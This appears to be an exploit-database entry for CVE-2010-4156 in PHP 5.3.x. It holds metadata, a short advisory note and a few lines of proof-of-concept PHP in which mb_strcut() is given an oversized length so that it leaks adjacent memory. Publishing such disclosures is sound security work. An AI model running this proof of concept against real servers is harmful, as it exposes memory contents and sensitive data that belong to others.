PHP 5.3.x - 'mb_strcut()' Information Disclosure

Author: Mateusz Kocielski
type: remote
platform: php
port: 
date_added: 2010-11-07  
date_updated: 2017-10-16  
verified: 1  
codes: CVE-2010-4156;OSVDB-69099  
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raw file: 34979.php  

# source: https://www.securityfocus.com/bid/44727/info
#
# PHP is prone to an information-disclosure vulnerability.
#
# Attackers can exploit this issue to obtain sensitive information that may lead to further attacks.
#

<?php
$b = "bbbbbbbbbbb";
str_repeat("THIS IS A SECRET MESSAGE, ISN'T IT?", 1);
$var3 = mb_strcut($b, 0, 1000);
echo $var3;
?>